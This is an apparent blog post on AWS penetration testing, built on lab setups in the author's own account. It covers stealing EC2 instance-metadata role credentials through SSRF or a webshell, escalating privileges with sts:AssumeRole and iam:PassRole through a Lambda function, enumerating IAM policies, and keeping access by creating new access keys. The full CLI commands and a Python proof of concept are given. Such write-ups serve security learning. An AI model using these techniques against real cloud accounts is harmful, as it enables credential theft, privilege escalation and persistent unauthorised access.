AWS on MentalityXt

AWS Cloud Penetration Testing

Fri, 07 Mar 2025 18:06:00 +0800

Exploiting the EC2 Instance Metadata Service (IMDS)

This is closely tied to IAM. I actually mentioned it in the basics section; exploiting it generally requires something like SSRF or a webshell.

Accessing the following URL from inside EC2 may return temporary credentials. This is essentially a temporary pair of keys that can be used to access every service permitted by the associated permissions.

1

curl http://169.254.169.254/latest/meta-data/iam/security-credentials/

The EC2 Instance Metadata Service (IMDS) runs on this IP and provides:

Instance information (such as instance-id and ami-id)
Network information (such as public-ipv4 and security-groups)
IAM role credentials (the most important part!)
User data (scripts executed when EC2 starts)

As in the basics section, once you have these two keys, you can inspect S3, EC2, and a whole range of other resources. This is a high-severity issue, and the service is enabled by default.

For example:

Request path:

1

curl http://169.254.169.254/latest/meta-data/

Response:

1
2
3
4
5
6
7
8


ami-id
hostname
iam/
instance-id
instance-type
network/
public-ipv4
security-groups

The most dangerous endpoint is:

1

curl http://169.254.169.254/latest/meta-data/iam/security-credentials/

Response:

1

AdminRole

Then access:

1

curl http://169.254.169.254/latest/meta-data/iam/security-credentials/AdminRole

If it returns:

1
2
3
4
5
6


{
 "AccessKeyId": "ASIA...",
 "SecretAccessKey": "....",
 "Token": "....",
 "Expiration": "2025-03-04T00:00:00Z"
}

You have successfully obtained temporary credentials for an AWS IAM role, which can be used with the AWS CLI to perform various operations!

Let’s try it in practice. I’ll start an EC2 instance here; the one used earlier is fine, as long as the endpoint is accessible. The takeaway is that if you find SSRF or get a shell through a web service running on an AWS EC2 instance, you may be able to take control of some of its resources.

Practical AWS Metadata Service Exploitation

AWS uses IMDSv1 by default (it can be accessed directly with curl), but AWS allows administrators to enable IMDSv2, which requires you to:

First obtain a temporary token
Use that token for subsequent requests

Check whether IMDSv2 is enabled

1

curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"

Normally, using curl directly is enough. As mentioned above, however, if IMDSv2 is enabled, you first need to obtain a token and then use it to request the metadata, as shown below.

Receiving a token means that IMDSv2 is enabled, and you must use this token to access the metadata.

Once you have the token, you simply add it in a request header. Following the steps above, add the token to the request:

1

curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/

If you are working through SSRF or a non-interactive webshell, this kind of variable may not work, so you can simply copy and paste the value yourself. For this exercise, setting a variable is more convenient.

1
2


TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/

It worked, but no IAM role is attached, so an IAM role must be attached before credentials can be retrieved. The AWS basics section covered some of the process for attaching an IAM role to EC2, but did not spend much time on how it works. Suppose we have an EC2 instance that needs to access an S3 bucket. It might be running a web service that needs to move locally stored files into the bucket, write data to the bucket, or back up the website to the bucket every day. Those are all backend details; the point is that this EC2 instance needs to access S3.

Normally, couldn’t we just create a user, obtain its two keys, and use those to access the S3 bucket? To reduce the risk, we could grant that user only S3 permissions. This is convenient, but it has few advantages and many drawbacks. First, if an attacker gets a webshell and finds the keys, they can retain long-term access to S3. Second, if access to other services is needed, manually rotating keys becomes costly and requires people to interact with APIs, among other drawbacks. The only advantage is that SSRF cannot read the keys; the disadvantage is that an arbitrary file-read vulnerability can.

With an attached role, you simply attach whatever permissions are needed and can leave the role attached. One advantage is that the keys are valid for only one hour. Once the vulnerability is fixed, an attacker cannot maintain long-term control over S3. You might think that calling S3 and other services from EC2 would still require obtaining a token and then requesting temporary credentials through the API, which sounds troublesome. In practice, the AWS CLI automatically retrieves the credentials and related information when you make an S3 request, so no additional steps are needed. The drawback is that SSRF can read them. Now let’s put this into practice.

Attaching an IAM Role to EC2

Select the role you just created and update the instance. Next, let’s look at the buckets.

No problems here: there is one bucket for storing logs and another bucket created while learning the basics. Both can be accessed directly.

The environment is ready. Next, here are the EC2 metadata service endpoints. We already covered the ordinary commands earlier, so there is no need to repeat that process. The main scenarios here are webshells and SSRF.

Important EC2 Metadata Service Endpoints

For this exercise, let’s generate the token first.

1

TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")

EC2 metadata lives under http://169.254.169.254/latest/meta-data/ and all key information can be retrieved from there.

Endpoint	Purpose	IMDS v1	IMDS v2
`/latest/meta-data/`	Retrieve the directory of all available metadata	`curl http://169.254.169.254/latest/meta-data/`	`curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/`
`/latest/meta-data/iam/security-credentials/`	List IAM role names	`curl http://169.254.169.254/latest/meta-data/iam/security-credentials/`	`curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/`
`/latest/meta-data/iam/security-credentials/{role-name}`	Retrieve temporary credentials for an IAM role	`curl http://169.254.169.254/latest/meta-data/iam/security-credentials/{role-name}`	`curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/{role-name}`
`/latest/meta-data/instance-id`	Retrieve the instance ID	`curl http://169.254.169.254/latest/meta-data/instance-id`	`curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/instance-id`
`/latest/meta-data/public-ipv4`	Retrieve the instance’s public IP	`curl http://169.254.169.254/latest/meta-data/public-ipv4`	`curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/public-ipv4`
`/latest/meta-data/local-ipv4`	Retrieve the instance’s private IP	`curl http://169.254.169.254/latest/meta-data/local-ipv4`	`curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/local-ipv4`
`/latest/meta-data/mac`	Retrieve the instance’s MAC address	`curl http://169.254.169.254/latest/meta-data/mac`	`curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/mac`
`/latest/meta-data/network/interfaces/macs/{mac}/vpc-id`	Retrieve the VPC ID	`curl http://169.254.169.254/latest/meta-data/network/interfaces/macs/{mac}/vpc-id`	`curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/network/interfaces/macs/{mac}/vpc-id`

Everything works. If you are interested in the other endpoints, you can test them yourself.

IAM Penetration Testing (Role Switching & Permission Abuse)

In AWS cloud penetration testing, many AWS resources (EC2, Lambda) have an IAM role attached by default, but these roles usually have minimal permissions.

However, some IAM roles may be able to Assume (take on) a more privileged role! If an attacker finds one of these roles, they can gain a higher level of access, or even become an AWS administrator.

IAM penetration testing mainly involves four core techniques:

sts:AssumeRole role switching → gain higher privileges
iam:PassRole permission abuse → bypass access controls
iam:GetPolicyVersion policy reading → find permissions that can be abused
iam:CreateAccessKey creating a new key → maintain persistent control over an AWS account

Role Switching with sts:AssumeRole

Theory

AssumeRole allows one IAM role to “become” another IAM role
This means a low-privileged user may be able to switch to a high-privileged one
If an attacker can find a high-privileged role that can be assumed, they can use it to escalate their privileges!

1

aws sts assume-role --role-arn "arn:aws:iam::123456789012:role/AdminRole" --role-session-name attacker-session

If it succeeds, AWS returns a new set of temporary credentials:

1
2
3
4
5
6
7
8


{
 "Credentials": {
 "AccessKeyId": "ASIA...",
 "SecretAccessKey": "SECRET...",
 "SessionToken": "TOKEN...",
 "Expiration": "2025-03-04T00:00:00Z"
 }
}

In AWS, AssumeRole allows one IAM role to “become” another IAM role.

🔹 Why is this important?

AWS does not let ordinary users access the Administrator role directly, but some IAM roles can Assume (switch to) a more privileged role.
If your role has sts:AssumeRole permission, you can “become” an administrator!

🔹 How does it work?

A low-privileged role (your current EC2S3AccessRole) requests AssumeRole, and AWS returns a set of temporary credentials.
With these new credentials, you can become a more privileged IAM role and access restricted resources.

That is the theoretical framework. To put the idea in order: if you have sts:AssumeRole permission, you can switch to an administrator role. But what if the current user does not have sts:AssumeRole permission? You need to find an IAM role that does, and that role must trust the IAM identity you currently hold before you can switch to it. Next, let’s build the lab.

Make sure you read this part: it is a little complicated, and I only spotted the problem toward the end of reproducing it. Having sts:AssumeRole permission alone does not let you switch to any user you like. The prerequisite is that the high-privileged role trusts the low-privileged role and the low-privileged role has sts:AssumeRole permission. That permission merely allows you to switch roles, nothing more. It is a bit like Linux: you first need permission to use su, and the other user also needs to let you use su without a password. It is a little awkward, so I reworked the lab setup tutorial below.

Lab Setup

Add permissions to the previously created EC2S3AccessRole so it can list roles and inspect trust relationships. This lets EC2S3AccessRole find out which roles trust it. Then give it sts:AssumeRole permission so it has the equivalent of an su capability.

EC2S3AccessRole needs permission to list roles. Without it, the role will not know who trusts it, will not be able to find the ARN, and will not be able to switch to a role that both trusts it and can be assumed through sts:AssumeRole.

The steps are as follows:

Search for IAM in the relevant section, then select ListRoles and GetRole. You can also use the JSON editor on the right; entering the configuration below there works just as well.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17


{
	"Version": "2012-10-17",
	"Statement": [
		{
			"Sid": "VisualEditor0",
			"Effect": "Allow",
			"Action": "iam:GetRole",
			"Resource": "arn:aws:iam::6502*******:role/*"
		},
		{
			"Sid": "VisualEditor1",
			"Effect": "Allow",
			"Action": "iam:ListRoles",
			"Resource": "*"
		}
	]
}

1

aws iam list-roles

Back on EC2, the test works without any problems. The current EC2S3AccessRole can now view IAM roles.

Next, attach sts:AssumeRole permission to EC2S3AccessRole

Follow the same steps as before and continue with an inline policy.

Let me explain the Resource section (outlined in red) in a little more detail. It is fairly interesting if you want to take a look (the same option appeared above as well).

If you select all resources, you can attempt to switch to any role in AWS, including roles in any AWS account. The prerequisite is still that the other role trusts you. As long as its trust policy contains the ARN for this account, you can switch to it across accounts. This is commonly used by enterprises with multiple AWS accounts. If you choose specific resources, you can click the option to add an ARN and make your selection.

As mentioned above, selecting all resources imposes no restriction. This option adds one by limiting access to a single AWS account. In other words, you can only switch to roles in the AWS account you specify that trust you. Even if a role in another account trusts you, you still cannot switch to it unless you remove this restriction. You could think of it as a kind of two-way authentication.

Just add it directly and select all paths for the current ARN resource.

The two policies are now ready. We still need to create a role. To make the privilege escalation obvious, give the new role permissions such as AdministratorAccess and configure it to trust EC2S3AccessRole.

At this point, we can create the role. One detail is worth mentioning: when we selected the trusted entity at the beginning, we chose the current account. As a result, the new PrivilegeTest role trusts every role in our account. Our original goal, however, was to trust only EC2S3AccessRole. To do that, use the policy below, insert its ARN, and edit the trust policy to replace the original one.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12


{
 "Version": "2012-10-17",
 "Statement": [
 {
 "Effect": "Allow",
 "Principal": {
 "AWS": "arn:aws:iam::650251******:role/EC2S3AccessRole"
 },
 "Action": "sts:AssumeRole"
 }
 ]
}

The lab environment is now fully set up.

Reproduction and Verification

Next, we will reproduce one attack chain. There are many ways to do this overall, so we will walk through one of them to demonstrate the principle.

1
2
3
4
5


aws iam list-roles
aws iam list-roles --query "Roles[*].Arn"

# The text after --query is the query syntax; compare these two outputs to understand it
aws iam list-roles --query "Roles[*].RoleName"

We found a whole list of roles. You may have plenty of questions at this point, but keep reading and I will explain them later. For now, the goal is simply to become familiar with this workflow.

We already know that PrivilegeTest is the role that trusts our current role (EC2S3AccessRole), so let’s print its ARN.

1
2
3
4


aws iam list-roles --query "Roles[?RoleName=='PrivilegeTest'].Arn"
aws iam list-roles --query "Roles[?RoleName=='PrivilegeTest'].Arn" --output text

# This rule is also worth studying

We now have the ARN. Although we already know that this role trusts us, we should still verify it.

1

aws iam get-role --role-name PrivilegeTest --query "Role.AssumeRolePolicyDocument"

No problem—it does indeed trust us. We can now try to obtain the two keys for this high-privileged role.

1

aws sts assume-role --role-arn "arn:aws:iam::6502********:role/PrivilegeTest" --role-session-name test-session

That works. We can write these credentials directly with the AWS CLI. There are many other ways to do this, but we cannot use the method from the beginning because it cannot store the token, which leaves the credentials unusable. The method below is probably the quickest and most convenient.

1
2
3
4


aws configure set aws_access_key_id "ASIAxxxxxxxxxxxxx" --profile privileged-session
aws configure set aws_secret_access_key "xxxxxxxxxxxxxxxxxx" --profile privileged-session
aws configure set aws_session_token "xxxxxxxxxxxxxxxxxxx" --profile privileged-session
aws configure set region "us-east-2" --profile privileged-session

Once the values have been entered, simply verify the current identity. I will not run any other commands.

1

aws sts get-caller-identity --profile privileged-session

No problem—the switch succeeded. From here, you could inspect the current permissions and then do whatever else you need to do.

Additional Notes

This is also the most troublesome part. Now that the workflow is clear, let me go over it once more. When we first obtain credentials for a role, whether through IMDS or some other method, the first thing to try if its permissions are too limited is privilege escalation.

First, use the current role and xxxx to query the names and ARNs of all roles with xxxx. Then use xxxx to find which roles trust you, and finally use xxxx to switch to an xxxx role that trusts you.

I highlighted the key steps above. The first issue is listing all roles. As we saw while setting up the lab, we gave the current role permission to do this. But what if it does not have that permission? There are actually many other methods, but they rely on other permissions (one way or another, you need permissions). This method is relatively simple, which is why we granted it permission to list all roles. Second, once it can list everything, we still need to see which roles trust us. That is why we also granted permission to retrieve policies, allowing us to inspect the trust policies of other roles. Third, we gave it sts:AssumeRole permission so it could actually switch roles.

The most important step is listing all roles. You need to determine not only whether a role is highly privileged, but also whether it trusts the current role. Every piece of information you can think of has a corresponding permission that must be enabled before you can view it.

To inspect attached permission policies, you need iam list-attached-role-policies. To inspect inline policies, you need iam list-role-policies. Without those permissions, you cannot do anything. This additional section is the most important part: its main purpose is to show how to use whatever partial permissions are available to complete the attack chain.

Commands Required for the Workflow

Command	Purpose	Required Permission
`aws sts get-caller-identity`	Get the current identity (determine whether it is an IAM user or IAM role)	No permission required (available by default to all AWS accounts)
`aws iam list-roles`	List the names and ARNs of all IAM roles in the current AWS account	`iam:ListRoles`
`aws iam list-users`	List all IAM users (username + ARN)	`iam:ListUsers`
`aws iam get-user`	Get detailed information about the current IAM user (username + ARN)	`iam:GetUser`
`aws iam get-role --role-name <ROLE_NAME>`	Get detailed information about a specified role (including its trust policy)	`iam:GetRole`
`aws iam list-entities-for-policy --policy-arn arn:aws:iam::aws:policy/AdministratorAccess`	See which IAM users/roles have administrator permissions attached	`iam:ListEntitiesForPolicy`
`aws iam list-attached-role-policies --role-name <ROLE_NAME>`	Get the attached managed policies for a specified role	`iam:ListAttachedRolePolicies`
`aws iam list-role-policies --role-name <ROLE_NAME>`	Get the inline policies for a specified role	`iam:ListRolePolicies`
`aws iam get-role-policy --role-name <ROLE_NAME> --policy-name <POLICY_NAME>`	View the full details of a specified role’s inline policy	`iam:GetRolePolicy`
`aws iam get-policy --policy-arn <POLICY_ARN>`	View information about a specified managed policy	`iam:GetPolicy`
`aws iam get-policy-version --policy-arn <POLICY_ARN> --version-id v1`	Get the detailed permissions in a specified managed policy version	`iam:GetPolicyVersion`
`aws sts assume-role --role-arn "arn:aws:iam::<ACCOUNT_ID>:role/<ROLE_NAME>" --role-session-name my-session`	Switch to the target role (the target role must trust the current identity)	`sts:AssumeRole`
`aws sts get-session-token`	Get temporary MFA-based credentials (used to increase privileges)	`sts:GetSessionToken`
`aws sts decode-authorization-message --encoded-message <ENCODED_MESSAGE>`	Decode the detailed information in an `AccessDenied` error	`sts:DecodeAuthorizationMessage`

Abusing the iam:PassRole Permission

Theory

How it works:

PassRole lets you assign an IAM role to an AWS resource (such as EC2 or Lambda).
But you cannot Assume that role yourself. You can only let an AWS resource use it.
If that AWS resource can perform privileged operations (such as reading and writing S3 or operating EC2), you can use it to obtain elevated privileges indirectly.

Approaches:

Attach a privileged role to Lambda (the common approach)

We have the iam:PassRole permission and can create / update Lambda functions.
We create a Lambda function and attach the privileged role to it, then have Lambda execute commands.

Attach the privileged role to Lambda / EC2 (rare, but possible)

If the target privileged IAM role can modify AWS resources (EC2 / Lambda), it can be steered into executing malicious code.
This is relatively uncommon. It mainly happens when an administrator’s misconfiguration lets you control an AWS resource associated with a privileged role.

Prerequisite: you have one of the following permissions

Permission	Purpose
`iam:PassRole`	Lets you attach an IAM role to Lambda / EC2 (prerequisite permission; required)
`lambda:CreateFunction`	Lets you create a new Lambda function (assign the privileged role when creating it; choose one of these two)
`lambda:UpdateFunctionConfiguration`	Lets you change the IAM role of an existing Lambda function (choose one of these two)
`lambda:InvokeFunction`	Lets you invoke Lambda (if you changed the Lambda code, you also need to be able to call it; required)
`lambda:ListFunctions`	Lets you list existing Lambda functions (if you want to modify one, you first need to be able to see it; required)
`ec2:RunInstances`	Lets you create a new EC2 instance (assign the privileged role when creating it)
`ec2:ModifyInstanceAttribute`	Lets you change the IAM role of an existing EC2 instance
`ec2:StartInstances`	Lets you start a stopped EC2 instance (if it already has a privileged role)

Let me explain this part. When you create a role, you can choose a service such as Lambda or EC2. The EC2S3AccessRole we used earlier was created by choosing EC2, so it is a role with full EC2 permissions. EC2 was already selected when the role was created. If iam:PassRole is then attached, this part of the exploit becomes possible. That is the basic idea. Of course, this is only one scenario; the point is simply to understand the concept. In practice, you still need the permissions listed above—for example, iam:PassRole plus the four Lambda permissions, or iam:PassRole plus the three EC2 permissions. Either combination can work.

The main flow is to list all Lambda functions (lambda:ListFunctions), create or reconfigure a Lambda function (lambda:CreateFunction/lambda:UpdateFunctionConfiguration), use iam:PassRole to attach the privileged role, supply the Lambda code—which can usually be prepared as part of creation—and then run it (lambda:InvokeFunction) to complete the attack.

Lab Setup

We need a privileged role that trusts the Lambda service. I will target this role shortly.

Let’s verify that this account is usable and talk a little about how Lambda works. Lambda requires a role to be attached. If no suitable role exists when you create a Lambda function, AWS will automatically generate one for you. The role we just created is suitable: first, it trusts the Lambda service; second, it has the administratoraccess permission, which includes all Lambda permissions.

How do we verify that? Go to Lambda, create a function, and choose an existing role. Only suitable roles will appear here.

The second one is the role we created. So where did the first one come from? When I was learning the basics in the AWS fundamentals section and did not understand this yet, I chose the option above to create a new role with basic Lambda permissions, and AWS created it automatically. We can inspect the role to see which permissions it has: MyFirstFunction-role-ox8lckqa.

As you can see, it only trusts the Lambda service. It also has a custom policy, mainly for Amazon CloudWatch Logs permissions. That matches the description.

The role we want to escalate to is ready. We also need either an account with Lambda permissions / a role we can access. Either one works. Add the crucial iam:PassRole permission, and the low-privileged user / role is configured.

You can think through the considerations here yourself, including which option is more convenient. Doing so helps deepen your understanding of these services and makes the architecture and underlying mechanism clearer. For this demonstration, and to revisit what we learned earlier, I will choose a role we can access.

Create it, then grant the key permission, iam:PassRole.

That completes the setup. Let’s organize the current idea. We have a privileged role that trusts Lambda, plus a low-privileged role under our control that only has Lambda and iam:PassRole permissions. The low-privileged role can use its Lambda permissions to create a function, while iam:PassRole lets us designate the privileged role as that function’s execution role. Once we assign the privileged role that trusts Lambda as the execution role of our function, any Lambda code we upload runs as that privileged role. That is the whole principle.

Reproduction and Verification

Remember the EC2S3AccessRole account? It has permission to switch roles. We could also use the account with administratoraccess permissions that we created earlier; either is fine. What matters here is that we control an account with Lambda permissions and that the account also has the iam:PassRole permission.

Find the ARN of the newly created low-privileged role, LambdaTest.

1

aws sts assume-role --role-arn arn:aws:iam::65025******:role/LambdaTest --role-session-name ExploitSession

No problems. I am still using the credential import method from the previous section because it is simpler. The other methods are a little more troublesome, so I will skip them.

1
2
3
4


aws configure set aws_access_key_id "ASIAxxxxxxxxxxxxx" --profile privileged-session
aws configure set aws_secret_access_key "xxxxxxxxxxxxxxxxxx" --profile privileged-session
aws configure set aws_session_token "xxxxxxxxxxxxxxxxxxx" --profile privileged-session
aws configure set region "us-east-2" --profile privileged-session

Once these are set, the commands can run anywhere as long as AwsCli is available.

The command works. The result is empty because I deleted all the Lambda functions. (The boto3 library used by Lambda functions is something I definitely need to learn. I am fairly comfortable with python, so I will dedicate a separate section to boto3 later.) Just follow the upload steps from the fundamentals section.

Build the python POC code.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14


import json
import boto3

def lambda_handler(event, context):
 client = boto3.client('s3')
 response = client.list_buckets()

 for bucket in response["Buckets"]:
 bucket["CreationDate"] = bucket["CreationDate"].isoformat()

 return {
 'statusCode': 200,
 'body': json.dumps(response)
 }

Compress the code. Any method is fine as long as it produces the archive.

1

zip function.zip lambda_function.py

Create the function.

1
2
3
4
5
6
7
8


aws lambda create-function \
 --function-name testLambda \
 --runtime python3.9 \
 --role arn:aws:iam::<ACCOUNT_ID>:role/<HIGH_PRIV_ROLE> \
 --handler lambda_function.lambda_handler \
 --zip-file fileb://function.zip

aws lambda create-function --function-name testLambda --runtime python3.9 --role arn:aws:iam::<ACCOUNT_ID>:role/<HIGH_PRIV_ROLE> --handler lambda_function.lambda_handler --zip-file fileb://function.zip

There was a small detour here. Yesterday, I tried for a long time and kept failing (it worked today), with an error claiming something was wrong with the token. While asking GPT, I analyzed it myself too. The explanation that best matched my situation was that old temporary STS credentials were still being used. If your AWS CLI previously used expired or underprivileged temporary STS credentials, the CLI will keep using the old Token even after you change the IAM role’s permissions in the AWS console, causing permission problems. I used many temporary STS credentials during testing. After noticing the problem, I granted the permissions again, but I kept getting the following error.

An error occurred (UnrecognizedClientException) when calling the CreateFunction operation: The security token included in the request is invalid.

Today, the configured token—which was valid for one hour—had probably expired and been discarded. Everything returned to normal after I generated a new key and token. GPT also suggested the following fix, which I did not use yesterday.

1

aws sts assume-role --role-arn arn:aws:iam::6502******:role/LambdaTest --role-session-name DebugSession

You can give it a try. In any case, it worked today, and the upload succeeded.

No problems. We can test it in the web interface to see whether it runs, while also using AWSCLI to verify whether it can access S3.

1

aws lambda invoke --function-name testLambda --payload "{\"key1\": \"value1\", \"key2\": \"value2\"}" response.json --cli-binary-format raw-in-base64-out

No problems. It did indeed enumerate the resources, completing the attack chain.

Additional Notes

The key exploitation chain should be clear now, but there is one more especially important point: Lambda functions support multiple languages.

If you are comfortable with one of these languages, you will notice that it imports a library when you inspect it. python, for example, has the boto3 library. Obviously, accessing resources is generally done through calls made with boto3. The code above can only access S3 and does nothing else, so I will eventually need to learn how to write Lambda code—in other words, learn the boto3 library. That topic needs a separate section of its own later. For now, this reproduction is complete, so I will stop here.

Reading Policies with iam:GetPolicyVersion

Theory

If you can call iam:GetPolicyVersion, you can inspect every permission in a policy and may uncover highly privileged policies that can be abused. The previous two techniques both involved abusable high-privilege policies; here, the main point is simply to read those policies and inspect them. What matters is knowing how to analyze and retrieve them. The logic here may be a little questionable. The idea is that you find a policy attached to a role, and that role is under your control. (I tested this as a user and couldn’t query it.)

Lab Setup

You can reuse the environments from the previous two sections. As for the iam:GetPolicyVersion permission we need, you can try creating it yourself. The main permissions required are these:

1
2
3


iam list-policies (list all managed policies in the account)
iam get-policy (query the default version of a policy)
iam GetPolicyVersion (most important) (read the policy details)

I’ll just test this directly with an administrator account.

Listing All Managed Policies in the Account

Goal: Find every Managed Policy in the AWS account.

1

aws iam list-policies --query "Policies[*].{PolicyName:PolicyName, Arn:Arn}"

Example response:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10


[
 {
 "PolicyName": "AdministratorAccess",
 "Arn": "arn:aws:iam::aws:policy/AdministratorAccess"
 },
 {
 "PolicyName": "S3FullAccess",
 "Arn": "arn:aws:iam::aws:policy/S3FullAccess"
 }
]

This shows every policy in the current AWS account, including:

Highly privileged policies (such as AdministratorAccess)
Potentially abusable policies (those granting permissions such as PassRole or CreateUser)

Querying a Policy’s `Default Version`

Goal: Find a policy’s VersionId, then use GetPolicyVersion to retrieve its exact permissions.

1

aws iam get-policy --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

Example response:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10


{
 "Policy": {
 "PolicyName": "AdministratorAccess",
 "Arn": "arn:aws:iam::aws:policy/AdministratorAccess",
 "DefaultVersionId": "v1",
 "AttachmentCount": 10,
 "PermissionsBoundaryUsageCount": 0,
 "IsAttachable": true
 }
}

Key point: DefaultVersionId is v1. This v1 is the policy version currently in effect.

Reading the Full Policy Document

Goal: Use iam:GetPolicyVersion to read the policy permissions and look for permissions that can be abused.

1

aws iam get-policy-version --policy-arn arn:aws:iam::aws:policy/AdministratorAccess --version-id v1

Example response:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15


{
 "PolicyVersion": {
 "Document": {
 "Statement": [
 {
 "Effect": "Allow",
 "Action": "*",
 "Resource": "*"
 }
 ]
 },
 "VersionId": "v1",
 "IsDefaultVersion": true
 }
}

If Action: "*" and Resource: "*" are present, this is an AdministratorAccess policy, which provides full control over the AWS account.

Run through the entire process above, because things get a little more complicated later. The theory section already covered this: the technique is mainly useful after you know which policy is attached to a role you control. If you don’t know which policies are attached to your controllable roles, querying this is completely useless.

Next, let’s introduce six important permissions that work with iam:GetPolicyVersion.

Querying Policies Attached to a User

Managed policies:

1

aws iam list-attached-user-policies --user-name <USERNAME>

Required permission: iam:ListAttachedUserPolicies

Example output:

1
2
3
4
5
6
7
8


{
 "AttachedPolicies": [
 {
 "PolicyName": "AdminPolicy",
 "PolicyArn": "arn:aws:iam::123456789012:policy/AdminPolicy"
 }
 ]
}

Inline policies:

1

aws iam list-user-policies --user-name <USERNAME>

Required permission: iam:ListUserPolicies

Example output:

1
2
3


{
 "PolicyNames": ["InlinePolicyForUser"]
}

Querying Policies Attached to a Role

Managed policies:

1

aws iam list-attached-role-policies --role-name <ROLE_NAME>

Required permission: iam:ListAttachedRolePolicies

Inline policies:

1

aws iam list-role-policies --role-name <ROLE_NAME>

Required permission: iam:ListRolePolicies

Querying Policies Attached to a Group

Managed policies:

1

aws iam list-attached-group-policies --group-name <GROUP_NAME>

Required permission: iam:ListAttachedGroupPolicies

Inline policies:

1

aws iam list-group-policies --group-name <GROUP_NAME>

Required permission: iam:ListGroupPolicies

Reproduction and Verification

The next part is fairly simple. We just need to query EC2S3AccessRole and take a look.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25


C:\Users\xxxxxx>aws iam list-attached-role-policies --role-name EC2S3AccessRole
{
 "AttachedPolicies": [
 {
 "PolicyName": "AmazonS3ReadOnlyAccess",
 "PolicyArn": "arn:aws:iam::aws:policy/AmazonS3ReadOnlyAccess"
 },
 {
 "PolicyName": "AmazonS3FullAccess",
 "PolicyArn": "arn:aws:iam::aws:policy/AmazonS3FullAccess"
 },
 {
 "PolicyName": "AWSLambda_FullAccess",
 "PolicyArn": "arn:aws:iam::aws:policy/AWSLambda_FullAccess"
 }
 ]
}

C:\Users\xxxxxx>aws iam list-role-policies --role-name EC2S3AccessRole
{
 "PolicyNames": [
 "AssumeRole",
 "ListRoles"
 ]
}

Now we can see all its permissions, which raises a question. Anyone can tell what the three managed policies above do. They’re all standard policies, and we already know their exact permissions. Why insist on reading the policy document with iam:GetPolicyVersion? And why do these three permissions specifically need to be used together? iam list-policies (lists all managed policies in the account) iam get-policy (queries a policy’s default version) iam GetPolicyVersion (the most important one; reads the full policy document) Isn’t that just extra work? I had serious doubts about it too. In practice, though, this permission is still quite dangerous. The exact attack chain depends on the environment. It primarily matters for custom policies. What if the three managed policies found above were not standard AWS policies? You wouldn’t be able to confirm what permissions they grant. With iam:GetPolicyVersion, you can read them and find out exactly what they allow. If the policy contains any of the permissions in the table below, there is a lot you can do with it.

Abusable Permission	Risk
`iam:PassRole`	Allows a highly privileged role to be attached to Lambda / EC2 for privilege escalation
`sts:AssumeRole`	Allows switching to a highly privileged role
`iam:CreateUser`	Allows creating a new IAM user as a persistent backdoor
`iam:AttachUserPolicy`	Allows attaching administrator privileges to a low-privilege user
`iam:CreateAccessKey`	Allows creating access keys for other users
`lambda:UpdateFunctionCode`	Allows modifying Lambda code to introduce malicious operations

This attack chain assumes you know that a role has a particular custom managed policy attached, then inspect how that managed policy is actually written. The next question is: what do the other two of these three permissions have to do with it, and why mention them at all? iam list-policies (lists all managed policies in the account) iam get-policy (queries a policy’s default version) iam GetPolicyVersion (the most important one; reads the full policy document) We can use the first command to find every policy. If we discover a nonstandard custom managed policy, we check its version, retrieve the full document for its default version, and then use the custom policy to work out who it may have been assigned to—in other words, who has been granted that custom policy. We could even build a PoC that iterates over every role, or use the permission below to find the answer directly.

Goal: Determine which users, roles, or groups the policy is attached to. Required permission: iam:ListEntitiesForPolicy (lists the entities to which the policy is attached). Command:

1

aws iam list-entities-for-policy --policy-arn arn:aws:iam::123456789012:policy/AdminPolicy

1
2
3
4
5


{
 "PolicyGroups": [],
 "PolicyUsers": [{"UserName": "BackdoorUser"}],
 "PolicyRoles": [{"RoleName": "AdminRole"}]
}

At this point, we can identify the target role. If we have permission to use that role—or query its trust policy with get-role—we can then use arn:aws:iam::123456789012:policy/AdminPolicy.

That brings us right back to switching roles with sts:AssumeRole. This is the complete attack chain.

Additional Notes

It may look a little complicated, but this is still a high-risk permission. It lets you read many policies, even if some of the possible uses feel a bit underwhelming. Some companies may define a whole pile of custom policies. AWS has taken the permission model about as far as it can go, but a single policy mistake by an administrator can still open the door to an attacker.

iam:CreateAccessKey: Creating a New Access Key

Theory

An Access Key is an AWS account credential, equivalent to the username and password for the root account.

With iam:CreateAccessKey, an attacker can create a new Access Key for themselves. Even if the original credentials are revoked, the attacker can still access AWS resources.

This is a persistence technique that lets an attacker retain access over the long term after gaining initial access to an AWS account, even if an administrator deletes the original credentials.

This one is fairly easy to understand. Once we obtain the target user’s permissions somehow—note that I mean user permissions, not role permissions, because roles only have short-lived keys while users can have long-lived keys—we just generate a new access key.

Setting Up the Environment

Just create a user with the iam:CreateAccessKey permission. We can delete it later.

I won’t go into every detail here. In short, create a user with nothing else configured, give it a name, and then go to its inline policies.

That’s all we need.

Next, create an access key.

Then just keep clicking Next until you’re done. Now add it to the AWS CLI configuration.

1

aws configure

All set. Let’s reproduce it.

Reproduction and Verification

1
2


aws iam create-access-key --user-name <target-user>
aws iam create-access-key --user-name test

